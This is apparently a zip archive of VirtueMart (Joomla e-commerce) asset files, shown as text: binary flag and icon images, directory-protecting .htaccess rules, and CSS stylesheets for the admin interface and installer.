KP"@4UhbD!R;q*E2-tNuHd'3Kf¿7nk:.`zGw)D*3)iP*.T<"/\^5N 31>.>akƕscd#si(`R'ih$Y2l7qȉȀAOm>#[0: /g>8j Q v+A;:v*o_^X/8Bebf`zBnIX6/a' ޕފǥ; 9v{c*Kt]0 i$!\<|Q,( Xl6+zeԅ5M\o)NIENDB`PK@y>\vNcomponents/com_virtuemart/assets/images/icon_16/menu-icon16-paymentmethods.pngnuW+APNG  IHDRabKGD pHYs  tIME 9; _IDAT8ˍOHA~\\[6)?{EzRnE7d! kuCQPbSfQmԭvf:| }f}FMҁwބ>AX(AY.T>L6S7;0nz e1~P滊:y^> G7GӐBK(梹@ ` uF/瑚ZH|].R-⪰@@ i uZr;?AV#uU0P/ִm/|\j>X-Xܴ9xR1;遱(N,#<8oUotfrOGp,ŷ{12vl70p_(d_߾!f) y tڝz ,0SZ~b 1Rsc2 C Kv)tmPA,@ЩMmX@u].56ոoijL1`qV[U}BIENDB`PK@y>\)<components/com_virtuemart/assets/images/admin_menu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\C]]@components/com_virtuemart/assets/images/admin_menu/vm_border.pngnuW+APNG  IHDRdpRPLTERD'IDATx#nIENDB`PK@y>\hWY?components/com_virtuemart/assets/images/admin_menu/vm_arrow.gifnuW+AGIF89a ppp!, % QYA 00+ (7%A 5 ;PK@y>\xDcomponents/com_virtuemart/assets/images/admin_menu/vm_arrow_down.gifnuW+AGIF89a ppp!Created with The GIMP!, & y6rM 2!$)C;PK@y>\2j22=components/com_virtuemart/assets/images/admin_menu/index.htmlnuW+A PK@y>\)1components/com_virtuemart/assets/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ݺ7components/com_virtuemart/assets/images/backgrounds.pngnuW+APNG  IHDR YbtEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp ` IDATxˍ0 DINz-$5t~^! ii@Q{3_}.Pj2/UZj~Ԭ 6. fʨ1nfu;o9U;Q6LKǶw'Vz"`\2components/com_virtuemart/assets/images/index.htmlnuW+APK@y>\tڎ3components/com_virtuemart/assets/images/flag/en.pngnuW+APNG  IHDR `F'PLTE$}=&E+Pbfvv&gIFg |YSVIDATc<ٚ1Փ!r`Ba5Kl abs0`P9(zmfk0&x `is<1% *sIENDB`PK@y>\8 3components/com_virtuemart/assets/images/flag/au.pngnuW+APNG  IHDR A< tIME #w4 pHYs  ~gAMA aPLTER2#Aqh}ZrSjJcA\돝:V>Y5Q0ME_evMkkEuvIbѡɉ޸ڏ+H蹾~ፐm ihqoopfjKMݬܤw-u=iq>BHIDATx0Do% MJhDWdg᜙Yxƺ(`z?>V5#MCt&"M6ݎz=bYƫ,\+LyBBD1!erE$e\2TTbO<_2ױ/Pl=E>IENDB`PK@y>\zT3components/com_virtuemart/assets/images/flag/lt.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W#IDAT(ScS?1!e0AuQHT1IENDB`PK@y>\(D3components/com_virtuemart/assets/images/flag/ar.pngnuW+APNG  IHDR XPLTE3A"N3\DiUwfwɈϙ֪5r pHYs  PIDAT V % <y Rx2@oX@`w2;`gf0~xKSHIENDB`PK@y>\3components/com_virtuemart/assets/images/flag/us.pngnuW+APNG  IHDR nIDAT(SMQKTQP>X>ҋVj+S7ACh5\ Z|rPY|,",R,{5]1 |gfA`ƀQɿ|G(75PQTcJg*Z7إ I&7tZ?e6@ 5+ P*T+8~5t=Y&.uΝK6Kaά~um{YCَ2k+  r6 C&Wf)ΣSk3i.%Ni嫍yKk_7MF= ڞG ϱB!t]J('w]FSLO>cazE(ib#M/D >b;HK%,xp`_k0;< gTd-=:LHJIENDB`PK@y>\6components/com_virtuemart/assets/images/flag/pt-pt.pngnuW+APNG  IHDR XuPLTEb31#$12>>XFM b*U*` ic\l\R3components/com_virtuemart/assets/images/flag/km.pngnuW+APNG  IHDR XoPLTE &&5566::;;DDWWyy燇땕휜ﮮﱱﴴ/>gIFg |YSMIDATc` 0B b`fbeCᒓDUPVTQFqJHIɋKryyxyAB^xi.IENDB`PK@y>\y&3components/com_virtuemart/assets/images/flag/eu.pngnuW+APNG  IHDR k= pHYs  7tEXtCommentCreated by Jose A. Reyero, freelance@reyero.netMIIDAT(c`Hcg@ct=`f[40HpBQG g)3ƔD6Y d5*,Va #+/?_R柌q/!bcKISD.f*h߸(rN$?lys?@0@a `@DWPg d€t K:_JƂjUaTIENDB`PK@y>\t$%8components/com_virtuemart/assets/images/flag/zh-hans.pngnuW+APNG  IHDR k=sRGBIDAT(Sc)>v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PK@y>\KQ&3components/com_virtuemart/assets/images/flag/tr.pngnuW+APNG  IHDR X?PLTE !%$+*+EOpxy譨7gIFg |YS2IDATc`0r2q 30p! p f~&4!>A&t' WL6IENDB`PK@y>\8components/com_virtuemart/assets/images/flag/zh-hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PK@y>\ۺxyy3components/com_virtuemart/assets/images/flag/nl.pngnuW+APNG  IHDR |/ PLTE!F(4 pHYs  IDAT[cLr,Bc-IENDB`PK@y>\R3components/com_virtuemart/assets/images/flag/da.pngnuW+APNG  IHDR  PLTE 3`gIFg |YSIDATcd``Կ$a(102H QdIENDB`PK@y>\3components/com_virtuemart/assets/images/flag/se.pngnuW+APNG  IHDR \9ͳHPLTE86 76o*Uv)Oz)L|)K(F'@&:&8#&N"2>AI(Pw=x<x=dNgIFg |YS>IDATcq!*+&$%*. aiad -h0w))1{IENDB`PK@y>\3components/com_virtuemart/assets/images/flag/sk.pngnuW+APNG  IHDR X`PLTE8:5: 3!7-O(&*+'V 4%8,>Tfe>PU}bFWK^Sb]uskx犕狕럧ʒ! pHYs  IIDAT70##r%dU$Rfq(=)^=PvțPk fIENDB`PK@y>\r3components/com_virtuemart/assets/images/flag/tg.pngnuW+APNG  IHDR OG\e<3components/com_virtuemart/assets/images/flag/nb.pngnuW+APNG  IHDR 䅪 pHYs  2IDAT(cx Gg" Y1 B Q\.QA"YNlb!2IENDB`PK@y>\A'3components/com_virtuemart/assets/images/flag/sl.pngnuW+APNG  IHDR OG9PLTEZ\Z"[$]o o9;]^坮㟰䪼ꬽ+3x pHYs  2IDATWcJa`AV&4`f* Bxk4IENDB`PK@y>\2*ww3components/com_virtuemart/assets/images/flag/hu.pngnuW+APNG  IHDR ^ PLTE#,F1 pHYs  IDAT[c`Vv* R qͻIENDB`PK@y>\]3components/com_virtuemart/assets/images/flag/et.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W IDAT(c*=ZaGaFa%4{YIENDB`PK@y>\0 003components/com_virtuemart/assets/images/flag/hr.pngnuW+APNG  IHDR OG~PLTE)**!:&=*/+/,./1qJ|ylsnvrr{qssvvʈ̉킂: pHYs  XIDATc`LvN6l\\`3components/com_virtuemart/assets/images/flag/es.pngnuW+APNG  IHDR X`PLTE H)V [Vvupi|<ҙȗF˓YΡCzЬ3 Π2gIFg |YS\j'3components/com_virtuemart/assets/images/flag/eo.pngnuW+APNG  IHDR <PLTE##22ٟlQ pHYs  $IDAT[c`YjB3, rP^IENDB`PK@y>\3components/com_virtuemart/assets/images/flag/pt.pngnuW+APNG  IHDR XuPLTEb31#$12>>XFM b*U*` ic\l\63components/com_virtuemart/assets/images/flag/th.pngnuW+APNG  IHDR \9ͳ PLTE$}y pHYs  IDATcdb@ T`$(@Х$EIENDB`PK@y>\tڎ3components/com_virtuemart/assets/images/flag/gb.pngnuW+APNG  IHDR `F'PLTE$}=&E+Pbfvv&gIFg |YSVIDATc<ٚ1Փ!r`Ba5Kl abs0`P9(zmfk0&x `is<1% *sIENDB`PK@y>\)6components/com_virtuemart/assets/images/flag/.htaccessnuW+A Order allow,deny Deny from all PK@y>\w!3components/com_virtuemart/assets/images/flag/gl.pngnuW+APNG  IHDR XPLTEc)h/m-qOoq;r3vJxr)|9xb3*R{j̢i5W>N q:Ƕu1sɩq*U:=%I`J6 "'ep⬲IENDB`PK@y>\ \t3components/com_virtuemart/assets/images/flag/is.pngnuW+APNG  IHDR v K!PLTE855\jH  3components/com_virtuemart/assets/images/flag/sq.pngnuW+APNG  IHDR cPLTE$%&: ; < PVWfgj k o |           "#&&uugIFg |YSRIDATcP@ 8DeddDٹy8DDYDX",H"BBH"RL|RH"rr$Bd1)LIENDB`PK@y>\CZtt3components/com_virtuemart/assets/images/flag/it.pngnuW+APNG  IHDR |/ PLTE+7F/E pHYs  IDATcZ@1 R-IENDB`PK@y>\[-3components/com_virtuemart/assets/images/flag/sv.pngnuW+APNG  IHDR rPLTE[b2s~>xxJ}rm_gIFg |YS&IDATc```Ls`L%% % P`Hd&U`$IENDB`PK@y>\@C3components/com_virtuemart/assets/images/flag/ca.pngnuW+APNG  IHDR  G pHYs  8IDAT(cD z>&]^N=wXIp#rCN?d?ЩIENDB`PK@y>\e<3components/com_virtuemart/assets/images/flag/nn.pngnuW+APNG  IHDR 䅪 pHYs  2IDAT(cx Gg" Y1 B Q\.QA"YNlb!2IENDB`PK@y>\ Eu[[3components/com_virtuemart/assets/images/flag/tl.pngnuW+APNG  IHDR x0}u pHYs   IDAT8c~͈m,V,_e--x̮3VR$y ;d߇-`uL]?(5@ ?ߺ5X}ީ/?'F2F fH w@EW`Hw?'A2G2E C{R`>]IENDB`PK@y>\( 3components/com_virtuemart/assets/images/flag/cs.pngnuW+APNG  IHDR <*PLTE#$;E~G8bS5]#Au$T&ULt` + pHYs  ;IDAT[cs XVga,n8x e2R+@ JTL,"P|- IENDB`PK@y>\|uu3components/com_virtuemart/assets/images/flag/ga.pngnuW+APNG  IHDR ^ PLTEc=`Y pHYs  IDATc``X*4ܡ萭IENDB`PK@y>\7components/com_virtuemart/assets/images/flag/index.htmlnuW+APK@y>\ qq3components/com_virtuemart/assets/images/flag/pl.pngnuW+APNG  IHDR PLTE<5 pHYs  IDAT[c6lX5S eOIENDB`PK@y>\4$3components/com_virtuemart/assets/images/flag/fi.pngnuW+APNG  IHDR "PLTE5 =M-YUxd" pHYs  "IDATcHKKePKLg``. "IENDB`PK@y>\ 993components/com_virtuemart/assets/images/flag/br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PK@y>\X,3components/com_virtuemart/assets/images/flag/lv.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W IDAT(chO-0j"a7Faʬ(5,IENDB`PK@y>\wtt3components/com_virtuemart/assets/images/flag/fr.pngnuW+APNG  IHDR |/ PLTE *AE pHYs  IDATc`Z@1 ;-^N$IENDB`PK@y>\~oo3components/com_virtuemart/assets/images/flag/ro.pngnuW+APNG  IHDR |/ PLTE+&MͭgIFg |YSIDATc`Z@1 ;-^N$IENDB`PK@y>\G33components/com_virtuemart/assets/images/flag/el.pngnuW+APNG  IHDR <'PLTE,9HT`jcldnhq|ͫ֯ؼH! pHYs  \vv3components/com_virtuemart/assets/images/flag/bg.pngnuW+APNG  IHDR buh PLTE&n'C pHYs  IDAT[cY, je1)m}IENDB`PK@y>\X3components/com_virtuemart/assets/images/flag/ja.pngnuW+APNG  IHDR <PLTE&'߀ҏ pHYs  .IDAT[cV) a00YA h,,B)vZ9vIENDB`PK@y>\COoo3components/com_virtuemart/assets/images/flag/de.pngnuW+APNG  IHDR buh PLTE"(gIFg |YSIDATcaL24q|fIENDB`PK@y>\/N kk3components/com_virtuemart/assets/images/flag/id.pngnuW+APNG  IHDR o pHYs  IDAT(c8'a :J` :^,IENDB`PK@y>\t$%5components/com_virtuemart/assets/images/flag/hans.pngnuW+APNG  IHDR k=sRGBIDAT(Sc)>v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PK@y>\5components/com_virtuemart/assets/images/flag/hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PK@y>\ 996components/com_virtuemart/assets/images/flag/pt-br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PK@y>\%4components/com_virtuemart/assets/images/flag/sco.pngnuW+APNG  IHDR "!PLTEr w"L~ pHYs  AIDAT[cXUVX20Wtd`BB eYU V533 ڐ Ca1&kIENDB`PK@y>\g9>3components/com_virtuemart/assets/images/flag/he.pngnuW+APNG  IHDR v KPLTE@"YDs[֛朵}g pHYs  -IDAT[c @@2`Y QR e7GbP0n(IIENDB`PK@y>\ll3components/com_virtuemart/assets/images/flag/uk.pngnuW+APNG  IHDR UPLTE:uͶgIFg |YSIDATc`? uHqIENDB`PK@y>\UMDD3components/com_virtuemart/assets/images/flag/fa.pngnuW+APNG  IHDR PLTEAACCDDEEGGHHIIJJKKLLLLMMQQ#@zz_t_uavbubwbwcydxezdxgzh{h|i}i}j~k`+ pHYs  ZIDATWcHPWPQbЇmu8.!"!˯g30rsp20s2pp3P y'},IENDB`PK@y>\m3components/com_virtuemart/assets/images/flag/vi.pngnuW+APNG  IHDR XHPLTE&&%&%/#<#<#?"D"H"I"v gIFg |YSBIDATc` bpٹ898ّE13jDaebeAb<IENDB`PK@y>\I1yy3components/com_virtuemart/assets/images/flag/ru.pngnuW+APNG  IHDR |/ PLTE/.. pHYs  IDAT[cX 0I\ 0Ic-NIENDB`PK@y>\vhl3components/com_virtuemart/assets/images/flag/fo.pngnuW+APNG  IHDR v K*PLTE,//63=>VHl#(KMXwሽb pHYs  2IDAT[c{] {@؈ XVL'DYIENDB`PK@y>\O]ww3components/com_virtuemart/assets/images/flag/lb.pngnuW+APNG  IHDR buh PLTE+-# pHYs  IDATcaLr6+=IENDB`PK@y>\r0components/com_virtuemart/assets/images/hide.pngnuW+APNG  IHDR+jtEXtSoftwareAdobe ImageReadyqe<wIDATxϏPǧRv{ zHbօ38GģG\U$qLH)ḅe m].lM^̼73}|>^RPx(+ 3Iu6p{jxGTe-Xo$ CU/F6x\GQ#7components/com_virtuemart/assets/css/toolbar_images.cssnuW+A/* 16x16 images */ /* 32x32 images */ .icon-32-lock{ background: url(../images/icon_32/icon-32-lock.png); } /* 48x48 images and joomla overide to use it*/ #cpanel span.vmicon48 { display: inline-block !important; height: 48px; width: 48px;margin-top: 10px;} #cpanel div.icon { cursor: pointer; } .vmicon48, .icon-48-head{background-image: url(../images/icone48.png) ; background-repeat: no-repeat !important; display :inline-block ;} .vm_shop_categories_48{ background-position: 0px 0px; height: 43px; } .icon-48-vm_calc_48{ background-position: 0px -53px; height: 42px; } .icon-48-vm_config_48, .vm_shop_configuration_48, .vm_install_48{background-position: 0px -105px; height: 35px; } .icon-48-vm_country_48, .vm_country_48{ background-position: 0px -150px; height: 40px; } .icon-48-vm_currency_48{ background-position: 0px -200px; height: 41px;} .icon-48-vm_custom_48{ background-position: 0px -352px; height: 40px;} .icon-48-vm_manufacturer_48, .icon-48-vm_manufacturercategories_48{ background-position: 0px -299px; height: 43px; } .icon-48-vm_report_48{ background-position: 0px -453px; height: 42px;} .icon-48-vm_ratings_48{ background-position: 0px -505px; height: 38px;;} .vm_shop_help_48{background-position: 0px -610px; height: 41px;} .icon-48-vm_orders_48, .vm_shop_orders_48{ background-position: 0px -402px; height: 41px; } .icon-48-vm_paymentmethod_48, .vm_shop_payment_48{ background-position: 0px -661px; height: 39px; } .icon-48-vm_product_48, .vm_shop_products_48{ background-position: 0px -710px; height: 39px;} .icon-48-vm_user_48, .vm_shop_users_48{background-position: 0px -759px; height: 37px; } .icon-48-vm_shoppergroup_48{background-position: 0px -806px; height: 38px; } .icon-48-vm_shipmentmethod_48{ background-position: 0px -553px; height: 47px; } .vm_shop_mart_48, .icon-48-vm_shop_mart_48{background-position: 0px -251px; height: 38px; } .vm_cpanel_48{background-position: 0px -854px; height: 34px; } PK@y>\Ze..0components/com_virtuemart/assets/css/install.cssnuW+A/** * @version $Id: install.css 2225 2010-01-19 23:18:41Z rolandd $ * @package Mambo_4.5.1 * @copyright (C) 2000 - 2004 Miro International Pty Ltd * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * Mambo is Free Software */ body { margin: 0px; padding: 0px; color : #333; background-color : #FFF; font-size : 11px; font-family : Arial, Helvetica, sans-serif; } #wrapper { border: 0px; margin: 0px; margin-left: auto; margin-right: auto; padding: 0px; } #stepbar { background-color: #F1F3F5; width: 170px !important; width: 170px; height: 400px; font-size: 11px; float: left; text-align: left; } #step { background: url(install_logo.png) no-repeat; font-size: 30px; font-weight: bold; text-align: left; color: #666666; padding: 10px 0px 20px 40px; white-space: nowrap; position: relative; float: left; } .step-on { color: #ff9900; background: #30559C; font-weight: bold; font-size: 13px; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } .step-off { font-size: 13px; color: #999999; font-weight: bold; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } #right { float: right; width: 555px !important; width: 545px; border-left: 1px solid #cccccc; padding-left: 10px; } #break { height: 20px; } .licensetext { text-align: left; } .license { padding: 0px; width: 530px; height: 300px; } .license-form { float: left; } .install { margin-left: auto; margin-right: auto; margin-top: 3em; margin-bottom: 3em; padding: 10px; border: 1px solid #cccccc; width: 750px; background: #F1F3F5; } .install h1 { font-size: 15px; font-weight: bold; color: #FF9900; padding: 10px 10px 4px 0px; text-align: left; border-bottom: 1px solid #FF9900; margin-bottom: 10px; } .install-form { position: relative; text-align: left; float: right; width: 69%; } .install-text { position: relative; text-align: left; width: 30%; float: left; } .form-block { border: 1px solid #cccccc; background: #E9ECEF; padding-top: 5px; padding-left: 5px; padding-bottom: 5px; padding-right: 5px; } .left { position: relative; text-align: left; float: left; width: 50%; } .right { position: relative; text-align: left; float: right; width: 50%; } .far-right { position: relative; text-align: right; float: right; } .far-left { position: relative; text-align: left; float: left; } .clr { clear:both; } .ctr { text-align: center; } .button { border : solid 1px #cccccc; background: #E9ECEF; color : #666666; font-weight : bold; font-size : 11px; padding: 4px; } table.content { width: 80%; } table.content td { color : #333333; font-size: 11px; width: 50%; } table.content2 { width: 90%; } table.content2 td { color : #333333; font-size: 11px; } .toggle { font-weight: bold; } /* old stuff */ a { color : #FF9900; text-decoration : none; } a:hover { color : #999999; text-decoration : underline; } a:active { color : #FF6600; text-decoration : underline; } .inputbox { color: blue; font-family: Arial, Helvetica, sans-serif; z-index: -3; font-size: 11px; } .small { color : #333; font-size : 10px; } .error { color : #cc0000; font-size : 12px; font-weight : bold; padding-top: 10px; padding-bottom: 10px; } select.options, input.options { font-size: 8pt; border: 1px solid #999; } form { margin: 0px 0px 0px 0px; } .dottedline { border-bottom: 1px solid #333; } .installheader { color : #FFF; font-size : 24px; } textarea { color : #0000dd; font-family : Arial; font-size : 11px; border: 1px; } PK@y>\).components/com_virtuemart/assets/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\℘+components/com_virtuemart/assets/css/vm.cssnuW+A.icon-32-vm_new_32 { background: url(../images/icon_32/vm_new_32.png) no-repeat left; } .icon-48-vm_config_48 { background: url(../images/icon_48/vm_config_48.png) no-repeat left; } .icon-48-vm_user_48 { background: url(../images/icon_48/vm_user_48.png) no-repeat left; } .icon-48-vm_usergroup_48 { background: url(../images/icon_48/vm_shoppers_48.png) no-repeat left; } .icon-48-vm_module_48 { background: url(../images/icon_48/vm_modules_48.png) no-repeat left; } .icon-48-vm_store_48 { background: url(../images/icon_48/vm_store_48.png) no-repeat left; } .icon-48-vm_payment_48 { background: url(../images/icon_48/vm_payment_48.png) no-repeat left; } .icon-48-vm_credit_48 { background: url(../images/icon_48/vm_credit_48.png) no-repeat left; } .icon-48-vm_product_48 { background: url(../images/icon_48/vm_product_48.png) no-repeat left; } .icon-48-vm_categories_48 { background: url(../images/icon_48/vm_categories_48.png) no-repeat left; } .icon-48-vm_countries_48 { background: url(../images/icon_48/vm_countries_48.png) no-repeat left; } .icon-48-vm_currency_48 { background: url(../images/icon_48/vm_currency_48.png) no-repeat left; } .icon-48-vm_orders_48 { background: url(../images/icon_48/vm_orders_48.png) no-repeat left; } .icon-48-vm_vendors_48 { background: url(../images/icon_48/vm_shop_vendors_48.png) no-repeat left; } .icon-48-vm_tax_48 { background: url(../images/icon_48/vm_tax_48.png) no-repeat left; } .icon-48-vm_ups_48 { background: url(../images/icon_48/vm_ups_48.png) no-repeat left; } .icon-48-vm_shipment_rates_48 { background: url(../images/icon_48/vm_shipment_rates_48.gif) no-repeat left; } .icon-48-vm_shop_users_48 { background: url(../images/icon_48/vm_shop_users_48.png) no-repeat left; } .icon-48-vm_manufacturer_48 { background: url(../images/icon_48/vm_manufacturer_48.png) no-repeat left; } .icon-48-vm_product_files_48 { background: url(../images/icon_48/vm_product_files_48.png) no-repeat left; } .icon-48-vm_coupon_48 { background: url(../images/icon_48/vm_coupon_48.png) no-repeat left; }PK@y>\.551components/com_virtuemart/assets/css/admin_ui.cssnuW+A/* VirtueMart Admin Area */ .virtuemart-admin-area {border: hidden #b4b4b4 1px; -moz-border-radius-bottomleft: 6px; -moz-border-radius-bottomright: 6px; -webkit-border-bottom-left-radius: 6px; -webkit-border-bottom-right-radius: 6px; overflow: visible; background: url(../images/admin_ui/container_bg_blue.png) repeat-y scroll 0 0 ;} * html .virtuemart-admin-area { /*IE6 only*/ overflow: visible;height: 1px;} .virtuemart-admin-area .menu-wrapper {width:190px ;float: left;} /*.virtuemart-admin-area #admin-content-wrapper {margin-left: auto;overflow:visible} /*.virtuemart-admin-area .menu-wrapper, .virtuemart-admin-area #admin-content-wrapper {padding-bottom: 16000px;margin-bottom: -16000px;}*/ .virtuemart-admin-area #admin-content-wrapper .admin-content {margin: 0;padding: 0;overflow: auto; background: left repeat-y #fff;border-left: solid #b4b4b4 1px;height:540px;} .virtuemart-admin-area #admin-content-wrapper .admin-content {height:auto;min-height: 540px;} #header { background: url(../images/admin_ui/header_bg.png) repeat-x scroll 0 0 #F0F0F0;padding:3px;padding-left: 10px;padding-right: 10px;} .ratingbox{position:relative;display:block;width:120px;height:24px;background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x scroll 0 bottom transparent} .ratingbox span{background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x;display:block;width:1%;height:24px;position:absolute} .stars-orange{background-position:0 0 !important;} .stars-red{background-position:0 -54px !important;} .stars-green{background-position:0 -108px !important; } .stars-blue{background-position:0 -162px !important;} .stars-purple{background-position:0 -216px !important;} /* Overwriting Joomla Admin Template */ /* Toolbar */ #element-box, #toolbar-box, #submenu-box {padding: 0 !important; } #element-box .t, #element-box .b {display: none;} #content-box #element-box .m, #content-box .m {border: none;padding: 0px;background: none;} #content-box #toolbar-box {border-top: solid #b4b4b4 1px;border-left: solid #b4b4b4 1px;border-right: solid #b4b4b4 1px;margin: 0px;padding:0;-moz-border-radius: 6px 6px 0 0; -webkit-border-radius:6px 6px 0 0;background: #fff url(../images/admin_ui/head_bg.png) center center repeat-x;} #content-box #toolbar-box .m {border: solid #fff 1px;padding: 7px 10px 4px 10px;background: none repeat scroll 0 0 transparent; -moz-border-radius: 6px 6px 0 0; -webkit-border-top-left-radius:6px; -webkit-border-radius:6px 6px 0 0;text-shadow: 0px -1px 1px #fff;} #content-box #toolbar-box a.toolbar {border: none;} #content-box #toolbar-box .m .header {color: #444444;font-weight: normal;padding: 0px 0px 0px 60px;margin: 3px 0px 0px 0px;background-position: left center;background-repeat: no-repeat;} #content-box #toolbar-box .t, #content-box #toolbar-box .b {display: none;} .bartext { display: block;font-size: 12px;font-weight: bold;line-height: 32px;vertical-align: inherit;white-space: nowrap;width: auto !important;} /* System Messages overide */ #system-message {margin: 0px !important;overflow: auto;} #system-message dd.message {background: #4693BB url(../images/admin_ui/saved_background.png) top repeat-x ; max-height: 400px; overflow: auto;} #system-message dd.message ul {color: #000; background: url("../images/icon_32/information.png") no-repeat 8px center transparent;} #system-message dd.message ul ,#system-message dd.error ul,#system-message dd.notice ul{margin: 0px; border-bottom: 1px solid #84A7DB !important; border-top: 0px !important;;} /* System Messages VM2 */ #system-message dt.save,#system-message dt.remove,#system-message dt.cancel {display: none;} /* info message in dark grey */ #system-message dd.remove,#system-message dd.save,#system-message dd.cancel {color: #F4F6F8; background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) top repeat-x !important;} /* message in RED */ dl#system-message dd.error,l#system-message dd ul .vmdebug { background: #ffffff url(../images/admin_ui/save_bg.png) top repeat !important;} /* message in RED */ dl#system-message dd.notice { background: #eee url(../images/admin_ui/header_bg.png) top repeat-x !important;} /* message icons */ #system-message dd.message ul {background: url("../images/icon_32/information.png") no-repeat scroll 8px center transparent !important;} #system-message dd.notice ul {background: url("../images/icon_32/notice.png") no-repeat scroll 8px center transparent !important;} #system-message dd.remove ul {background: url("../images/icon_32/bin.png") no-repeat scroll 8px center transparent !important;} #system-message dd.save ul {background: url("../images/icon_32/disk.png") no-repeat scroll 8px center transparent !important;} #system-message dd.cancel ul {background: url("../images/icon_32/cancel.png") no-repeat scroll 8px center transparent !important;} #system-message dd ul .vmdebug{background: url("../images/icon_32/elements_16.png") no-repeat scroll 0px top transparent !important;display: block;} #system-message dd.error ul {background: url("../images/icon_32/exclamation.png") no-repeat scroll 8px center transparent !important;} fieldset input,fieldset textarea,fieldset select,fieldset img,fieldset button{float:left;width:auto;margin:5px 5px 5px 0} input.readonly{ border: 0 none;} /*.adminform {border: 0 none;}*/ .adminform input.readonly{ text-align:right; border: 0 none; font-size: 0.909em;font-weight: normal; color:#000; width:75px } /* vmdebug */ .vmdebug pre{ padding-left: 32px;} .adminform th{text-align: right!important;} dl#system-message dd .vmdebug { font-size:10px; } /* Fieldset */ .virtuemart-admin-area fieldset {border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;} .virtuemart-admin-area fieldset legend {padding: 0px 10px;} /* Inputs */ .virtuemart-admin-area fieldset input {float: none;clear: none;display: inline-block;} .virtuemart-admin-area fieldset label, .virtuemart-admin-area fieldset.adminform label, .virtuemart-admin-area fieldset.adminform span.faux-label {float: none;clear: none;display: inline-block;min-width: 0px;} .virtuemart-admin-area div.tabs {margin-bottom: 240px;} textarea {width: 100%;} /*.datepicker{width: 60px;} seems unused*/ .translator { border-left: 4px solid #1FBE42; padding-left: 8px ; } /* Tabs */ /* The Navigation Area */ /*#admin-ui-tabs {overflow: visible !important;}*/ #admin-ui-tabs ul#tabs {list-style-type:none;margin: 0px;padding: 0px ;background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) bottom repeat-x;} #admin-ui-tabs ul#tabs li {vertical-align: top;color: #FFFFFF;cursor: pointer;display: inline-block;vertical-align: middle;font-size: 12px;height: 32px;letter-spacing: 1px;padding: 5px 0 0 0;text-align: center;text-shadow: 0 -1px 1px #000000;} #admin-ui-tabs ul#tabs li span{ line-height: 12px;padding-top: 0px;position: relative;vertical-align: middle;} #admin-ui-tabs ul#tabs li.current {background: #fff url(../images/admin_ui/tabs-li-background.png) top repeat-x;color: #444444;text-shadow: 0px -1px 1px #fff;-moz-border-radius-topleft: 6px;-moz-border-radius-topright: 6px;-webkit-border-top-left-radius: 6px;-webkit-border-top-right-radius: 6px;-moz-box-shadow: 0px -1px 2px #3f3f40;cursor: default;border: 0 none;} /* The Content Area */ /*#admin-content {overflow: visible;} #admin-ui-tabs {overflow: visible !important;}*/ /*#admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible !important;}*/ #admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible;} /*#admin-ui-tabs .tabs table {overflow: auto !important;}*/ /* do not change the line below !!! */ #admin-ui-tabs .dyn-tabs {overflow:auto;display:none;} /* Table */ table.adminlist .right{text-align: right;} /* Admin Menu */ #admin-ui-menu {border-bottom:1px solid #94B1CF;} #admin-ui-menu h3.menu-title {background: url("../images/admin_ui/page_bg_blue.png") repeat-x scroll center top #888;cursor:pointer;border-top: 1px solid #94B1CF;margin: 0px;padding: 6px 20px;color: #fff;font-size: 13px;font-weight: normal;color: #333;} .menu-vmlogo {background: url("../images/vm_logo.png") no-repeat scroll center bottom #707174;color: #333333;cursor: pointer;font-size: 13px;font-weight: normal;height: 30px;margin: 0;padding: 0;} .menu-notice { margin: 35px;padding: 5px;text-align: center;} .menu-notice a:link ,.menu-notice a span {color :#000 ;} #admin-ui-menu h3.current,#admin-ui-menu h3.menu-title:hover { background:url("../images/admin_ui/tabs-ul-background.png") repeat-x scroll center bottom #7C7D7F; color :#efefef ; } #admin-ui-menu .menu-list {border-top: 1px solid #94B1CF;overflow: hidden !important;} #admin-ui-menu .menu-list ul {margin: 0px;padding: 4px 4px 0px 10px;background:none repeat scroll 0 0 #F7F7F7;border-bottom: 1px solid #888888;} #admin-ui-menu .menu-list ul li {list-style: none;} #admin-ui-menu .menu-list ul li a {color: #000000;display: block;font-size: 12px;margin: 12px 0;text-decoration: none; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } #admin-ui-menu .menu-list ul li a:hover {color: #888; opacity :1;-moz-opacity : 1; -ms-filter: "alpha(opacity=100)"; /* IE 8 */ filter : alpha(opacity=100); /* IE < 8 */ } 